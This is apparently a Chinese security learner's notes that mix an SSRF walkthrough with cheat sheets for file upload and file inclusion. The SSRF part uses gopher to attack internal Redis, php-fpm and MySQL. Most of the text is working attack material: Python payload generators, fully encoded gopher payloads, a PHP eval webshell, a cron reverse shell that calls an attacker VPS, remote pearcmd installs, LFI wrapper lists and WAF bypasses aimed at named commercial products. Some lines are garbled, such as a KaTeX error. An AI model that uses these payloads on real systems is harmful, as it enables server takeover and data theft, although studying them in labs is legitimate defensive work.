gopher%3a%2f%2f127.0.0.1%3a80%2f_POST%2520%2ftool.php%2520HTTP%2f1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Aip%253D%253Bcat%2520%2fflag%250D%250A

攻击内网Redis

什么是Redis未授权访问?

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

  • redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等,其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。

下面我们对攻击Redis的手法进行演示。测试环境如下,内网中其他主机均有外网IP并可以上网:

image-20210113190430425

在上文扫描内网端口的实验中,我们发现了内网中有一个IP为192.168.52.131的主机在6379端口上运行着一个Redis服务,下面我们就用它来演示,通过Ubuntu服务器上的SSRF漏洞去攻击内网主机(192.168.52.131)的Redis。

绝对路径写WebShell

首先构造redis命令:

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

然后写一个脚本,将其转化为Gopher协议的格式(脚本时从网上嫖的,谁让我菜呢~~~大佬勿喷):

import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

执行后生成paylaod如下:

image-20210113175116867

这里将生成的payload要进行url二次编码(因为我们发送payload用的是GET方法),然后利用Ubuntu服务器上的SSRF漏洞,将二次编码后的payload打过去就行了:

ssrf.php?url=gopher%3A%2F%2F192.168.52.131%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

如下所示,成功在主机192.168.52.131上面写入WebShell:

image-20210113185919592

写SSH公钥

同样,我们也可以直接这个存在Redis未授权的主机的/.ssh目录下写入SSH公钥,直接实现免密登录,但前提是/.ssh目录存在,如果不存在我们可以写入计划任务来创建该目录。

构造redis命令:

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

然后编写脚本,将其转化为Gopher协议的格式:

import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去:

ssrf.php?url=gopher%3A%2F%2F192.168.52.131%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524568%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E%2F45IEs%2F9a6AWfXb6iwzo%252BD62y8MOmt%252Bsct27ZxGOcRR95FT6zrfFxqt2h56oLwml%2FTrxy5sExSQ%2FcvvLwUTWb3ntJYyh2eGkQnOf2d%252Bax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH%2F4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd%2FbWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ%2FNnHKyWtI%2FOzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe%252BXqQnjxtk4giopiFfRu8winE9scqlIA5Iu%2Fd3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg%2FOOhoA3iKNhJ%2FJT31TU9E24dGh2Ei8K%252BPpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl%252BSOsVHpNqwFcrgsq%2FWR5BGqnu54vTTdJh0pSrl%252BtniHEnWWU%253D%2520root%2540whoami%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A%2Froot%2F.ssh%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

如下图,成功在主机192.168.52.131上面写入SSH公钥:

image-20210113185745287

如下图,ssh连接成功:

image-20210113193746288

创建计划任务反弹Shell

注意:这个只能在Centos上使用,别的不行,好像是由于权限的问题。

构造redis的命令如下:

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/47.xxx.xxx.107/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

// 47.xxx.xxx.107为攻击者vps的IP

然后编写脚本,将其转化为Gopher协议的格式:

import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
reverse_ip="47.xxx.xxx.107"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(cron.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去,即可在目标主机192.168.52.131上写入计划任务,等到时间后,攻击者vps上就会获得目标主机的shell:

image-20210113184927766

[GKCTF2020]EZ三剑客-EzWeb这道题利用的就是攻击内网Redis的思路。

攻击内网FastCGI

FastCGI指快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。

众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,而动态网站需要一个额外的编译解析的过程。以Apache为例,当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,Web容器就会把这个请求进行简单的处理,然后如果使用的是CGI,就会启动CGI程序(对应的就是PHP解释器)。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。

这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次,所以FastCGI的主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。

php-fpm

FPM(FastCGI 进程管理器)可以说是FastCGI的一个具体实现,用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。

攻击FastCGI的主要原理就是,在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。

而在PHP 5.3.9后来的版本中,PHP增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在PHP允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改PHP的设置。

那么当设置PHP环境变量为:auto_prepend_file = php://input;allow_url_include = On时,就会在执行PHP脚本之前包含环境变量auto_prepend_file所指向的文件内容,php://input也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。

详情请见:《SSRF系列之攻击FastCGI》

测试环境:

image-20210113225311760

WEB服务器Ubuntu(192.168.43.166)存在SSRF漏洞:

image-20210113211319025

并且WEB服务器Ubuntu上存在FastCGI,那么我们就可以利用其SSRF漏洞去攻击其本地的FastCGI。

假设在配置fpm时,将监听的地址设为了0.0.0.0:9000,那么就会产生php-fpm未授权访问漏洞,此时攻击者可以无需利用SSRF从服务器本地访问的特性,直接与服务器9000端口上的php-fpm进行通信,进而可以用fcgi_exp等工具去攻击服务器上的php-fpm实现任意代码执行。

当内网中的其他主机上配置有fpm,且监听的地址为0.0.0.0:9000时,那么这台主机就可能存在php-fpm未授权访问漏洞,我们便可以利用Ubuntu服务器上的SSRF去攻击他,如果内网中的这台主机不存在php-fpm未授权访问漏洞,那么就直接利用Ubuntu服务器上的SSRF去攻击他显然是不行的。

使用fcgi_exp工具攻击

下载地址:https://github.com/piaca/fcgi_exp

这个工具主要是用来攻击未授权访问php-fpm的,可用来测试是否可以直接攻击php-fpm,但需要自己将生成的payload进行转换一下。

该工具需要go语言环境,下载后进入目录执行如下命令进行编译:

go build fcgi_exp.go                    # 编译fcgi_exp.go

编译完成后,我们在攻击机上使用nc -lvvp 2333 > fcg_exp.txt监听2333 端口来接收fcgi_exp生成的payload,另外再开启一个终端使用下面的命令来向2333端口发送payload:

./fcgi_exp system 127.0.0.1 2333 /var/www/html/index.php "id"

image-20210113205718209

生成的fcg_exp.txt文件的内容是接收到的payload,内容如下:

image-20210113205857913

然后对fcg_exp.txt文件里的payload进行url编码,这里通过如下脚本实现(脚本是我从网上白嫖的嘿嘿):

# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode

file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))

执行上面的python脚本生成如下payload:

image-20210113210102251

这里还要对上面的payload进行二次url编码,然后将最终的payload内容放到?url=后面发送过去:

ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2514%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509%255BPHP_VALUEallow_url_include%2520%253D%2520On%250Ddisable_functions%2520%253D%2520%250Dsafe_mode%2520%253D%2520Off%250Dauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2500%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----0vcdb34oju09b8fd-----%250D%2527%2529%253B%253F%253E

如下图所示,命令执行成功:

image-20210113211227610

使用Gopherus工具攻击

下载地址:https://github.com/tarunkant/Gopherus

该工具可以帮你生成符合Gopher协议格式的payload,以利用SSRF攻击Redis、FastCGI、MySql等内网应用。

使用Gopherus工具生成攻击FastCGI的payload:

python gopherus.py --exploit fastcgi
/var/www/html/index.php    # 这里输入的是一个已知存在的php文件
id    # 输入一个你要执行的命令

image-20201206134630782

然后还是将得到的payload进行二次url编码,将最终得到的payload放到?url=后面打过去过去:

ssrf.php?url=gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

image-20210113211649519

命令执行成功。

攻击内网MySql

20210113152106.png

首先我们要先了解一下MySql数据库用户认证的过程。MySQL分为服务端和客户端。MySQL数据库用户认证采用的是 挑战/应答 的方式,即服务器生成该挑战码(scramble)并发送给客户端,客户端用挑战码将自己的密码进行加密后,并将相应的加密结果返回给服务器,服务器本地用挑战码的将用户的密码加密,如果加密的结果和用户返回的加密的结果相同则用户认证成功,从而完成用户认证的过程。

登录时需要用服务器发来的挑战码(scramble)将密码加密,但是当数据库用户密码为空时,加密后的密文也为空。客户端给服务端发的认证包就是相对固定的了。这样就无需交互了,可以通过Gopher协议来直接发送了。

测试环境如下:

image-20210113225607672

Ubuntu服务器为WEB服务器,存在SSRF漏洞,且上面运行着MySql服务,用户名为whoami,密码为空并允许空密码登录。

下面我们还是使用Gopherus工具生成攻击Ubuntu服务器本地MySql的payload:

python gopherus.py --exploit mysql
whoami    # 登录用的用户名
show databases;    # 登录后要执行的sql语句

生成如下payload:

image-20210114004602164

将得到的paylaod进行url二次编码,然后将最终的payload内容放到?url=后面发送打过去就行了。但是我这里失败了,不知道为什么…

Ending…

推荐一个SSRF练习靶场:

  • ssrf-lab:https://github.com/fengwenhua/ssrf-lab

该靶场有一个好看又简洁的界面,提供了最基本的 REST API 和客户端 WebHook 功能用于 SSRF 测试。配置请看:https://www.heibai.org/post/1287.html

20210112124413.jpg

本文多为笔者的学习总结,若有不当的地方还望各位经过的路过的大佬多多点评。

文件上传

前端JS验证

删除/禁用/修改js

抓包修改:1.jpg改为1.php

内容检查

文件头
jpeg:FF D8 FF E0 00 10 4A 46 49 46
png:89 50 4E 47
gif:47 49 46 38 39 61 (GIF89a)
getimagesize()/image_type_to_extension()/exif_imagetype()

给上传脚本加上相应的头字节进行绕过,例如 GIF89a <?php phpinfo(); ?>

黑名单

解析漏洞

apache
后缀名从右往左进行缀解析,php.yj 绕过
上传.htaccess文件绕过
AddType application/x-httpd-php .jpg
nginx
a.php%00.jpg----解析为a.php
yj.com/a.jpg/.php(任何不存在文件)-----可以解析为.php文件
上传.user.ini:auto_prepend_file=1.jpg
iis 6.0
fck编辑器
目录解析:xx.asp目录里面的文件(放个图片马)都会被当作asp文件来执行 / 文件名中含有".asp;"的会优先按asp来解析
文件名解析:xxx.asp;1.jpg / 重命名文件
asa/cer证书/cdx复保索引 无法使用
iis 7.0/7.5
默认fast-cgi开启情况下,在文件路径后面加上/xx.php会将原来的文件解析为php文件
nullbyte:系统自动截断
php<=5.2:a.php.jpg–bp截断–hex–最后一个点:2e-改为00
ewebeditor后台可以修改白名单

常规方式

特殊文件后缀
php、php3、php4、php5、phpt、phtml
大小写/双写
windows文件流
php在windows下如果文件名+“:: D A T A " 会把 : : DATA"会把:: DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名且保持”::$DATA"之前的文件名
操作系统特性:1.jpg 空格 / 1point.jpg. / 2point.jpg…

白名单

MIME types 验证

抓包修改Content-Type
image/jpeg & image/png & image/gif &
application/octet-stream : 二进制流数据(如常见的文件下载)
multipart/form-data :文件上传
application/pdf & application/msword

图片马

Windows:copy a.jpg/b+yi.asp/a b.jpg
Linux:echo 一句话内容 > a.jpg
十六进制编辑器在其中的大片00字节处插入php代码,多用于二次渲染绕过.

截断

GET %00截断
POST 00截断(二进制修改)

其他

注意负载均衡:条件竞争!

远程下载文件绕过

文件包含

HTTP请求填充垃圾数据绕过

WAF专题

安全狗绕过

1.绕过思路:对文件的内容,数据。数据包进行处理。

关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
将form-data;            修改为~form-data;

2.通过替换大小写来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition    修改为content-Disposition
将 form-data            修改为Form-data
将 Content-Type         修改为content-Type

3.通过删减空格来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data          冒号后面 增加或减少一个空格
将form-data; name="file";                分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream   冒号后面 增加一个空格

4.通过字符串拼接绕过

看Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为   f+orm-data
将 from-data 修改为   form-d+ata

5.双文件上传绕过

<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>

6.HTTP header 属性值绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form-data 为*来绕过
Content-Disposition: *; name="file"; filename="yjh.php"

7.HTTP header 属性名称绕过

源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".

8.等效替换绕过

原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格。

9.修改编码绕过

使用UTF-16、Unicode、双URL编码等等
WTS-WAF 绕过上传
原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
百度云上传绕过
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
阿里云上传绕过
源代码:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。
360主机上传绕过
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition

文件包含

基础

reuqire():在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句

include() :如果出错的话,只会提出警告,会继续执行后续语句

require_once() / include_once() :如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题

利用这四个函数来包含文件时,不管文件是什么类型(图片、文本等),都会直接作为php文件进行解析

本地文件包含

字典

php://filter/convert.base64-encode/resource=login.php(过滤了操作名read)
php://filter/read=convert.base64-encode/resource=1.jpg/resource=./show.php(正则 /resource=*.jpg/i)
data:text/plain,<?php phpinfo()?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
phar://test.zip/phpinfo.txt
php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.php
php://filter/string.rot13/resource=flag.php
php://filter/string.toupper/resource=flag.php
php://filter/string.tolower/resource=flag.php
php://filter/convert.quoted-printable-encode/resource=flag.php
php://filter/zlib.deflate|zlib.inflate/resource=flag.php


php://input  & POST:  `<? phpinfo();?>`

php://input:?file=php://input & POST: <? phpinfo();?>

php://filter:index.php?file=php://filter/read=convert.base64-encode/resource=flag.php(read=可省略)

phar://:index.php?file=phar://test.zip/phpinfo.txt(php>=5.3.0)

zip://:index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt(php>=5.3.0,%23为#,只能用绝对路径)

data:URI schema

index.php?file=data:text/plain,<?php phpinfo();?>
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

包含session

常见存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

利用SESSION_UPLOAD_PROGRESS

// TODO

远程文件包含

利用方式:include.php?file=http://xxx.com/1.txt

特殊方式

包含日志文件

利用条件: 需要知道服务器日志的存储路径,且日志文件可读。

用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。某些场景中,log的地址是被修改掉的,可以通过读取相应的配置文件后,再进行包含。

SSH log

shell连接ssh sh '<?php phpinfo(); ?>'@host,密码随便输,之后包含host的ssh-log即可

包含environ

利用条件:php以cgi方式运行,这样environ才会保持UA头;environ文件存储位置已知,且environ文件可读。

/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

包含fd

LFI Cheat Sheet (highon.coffee)

包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

load data infile

??从一道ctf题学习mysql任意文件读取漏洞-安全客 - 安全资讯平台 (anquanke.com)

路径获取

直接获得:通过返回包获取/右键查看地址

查看源代码或者本地搭建

根据经验猜测

通用的路径:/img、/images、/upload、/uploads、/file

分析网站结构

爬虫
分析网站命名方式

上传文件保存在另外服务器上

绕过

目录遍历:…/

编码绕过
利用url编码:%2e%2e%2f = …%2f = %2e%2e/
二次编码:%252e%252e%252f = %252e%252e%255c
容器/服务器的编码方式:…%c0%af ;%c0%ae%c0%ae/ (Tomcat)

指定后缀

? / #(%23)
长度截断:重复./

利用条件: php < 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

0字节截断:?file=phpinfo.txt%00

利用条件: php < 5.3.4

特殊姿势

利用include函数解 urlencode 的特性来编码绕过
包含pearcmd装马:/?include=/usr/local/lib/php/pearcmd.php&+install+http://yourhost/cmd.php

在phpinfo中如果看到register_argc_argv开放,可以获取外部的参数,以+作为分隔符

其他姿势请参考:CTF中文件包含的几种不常规利用姿势总结 | 颖奇L’Amore (gem-love.com)

反序列化

PHP

Java

框架

Python

其他

其他

Clickjacking(点击劫持)

HEREDOC

JSPFUCK

Web Assembly

整数溢出

Hash长度拓展攻击

代码审计(PHP)

XSS

print()

printr()

echo

printf()

sprintf()

die()

var_dump()

var_export()

代码执行

函数

  • eval()
  • assert()
  • preg_repace()
  • create_function()
  • array_map()
  • call_user_func()
  • call_user_func_array()
  • array_filter()
  • usort()
  • uasort()

过滤与bypass

  • 利用各种函数的返回值进行拼接

  • 利用^符号异或出想要的东西

  • 利用等价表达式

    • _

      • 空格
      • .

文件包含

include()

include_once()

require()

require_once()

文件读取(下载)

file_get_contents()

highlight_file()

fopen()

readfile()

fread()

fgetss()

fgets()

parse_ini_file()

show_source()

file()

sort()比较鸡肋

命令执行

相关函数

  • system()

  • exec()

  • shell_exec()(反引号也可以)

  • passthru()

  • pcntl_exec()

  • popen()

  • proc_open()

  • create_function()

    这个是逃逸后可以命令执行

过滤与bypass

  • disable_function

    • ld_preload
    • php_gc
  • 限制命令长度

  • 限制回显长度

  • 过滤字符

    • 空格

      bash环境

      • <
      • ${IFS}
      • $IFS$9
      • %09
    • 某些函数名

    • 截断符号

      • fuzz得出没被过滤的

      • 利用base编码绕过

      • 用两个单引号

        比如命令 cat /etc/passwd

        等价于 cat /etc/pass’w’d

文件上传

move_uploaded_file()

文件删除

unlink()

session_destroy()(老版本)

变量覆盖

extract()

parse_str

  • 无第二个参数会引起变量覆盖

import_request_variables()

for each($_GET as k e y = > key=> key=>value) KaTeX parse error: Expected '}', got 'EOF' at end of input: {key}=$value

register_globals

弱类型比较

=、!==、!=

  • md5,sha1的==绕过

is_numeric

  • 16进制编码绕过
  • %00放在数字开头或者结尾,%20放在开头都能使函数返回false

in_array

弱不相等却md5值相等的情况

只需要利用NaN(float)和’NaN’(string)即可(INF等同理)

PHP黑魔法

md5

  • 绕过sql,md5(‘ffifdyop’,true)= 'or’6xxx

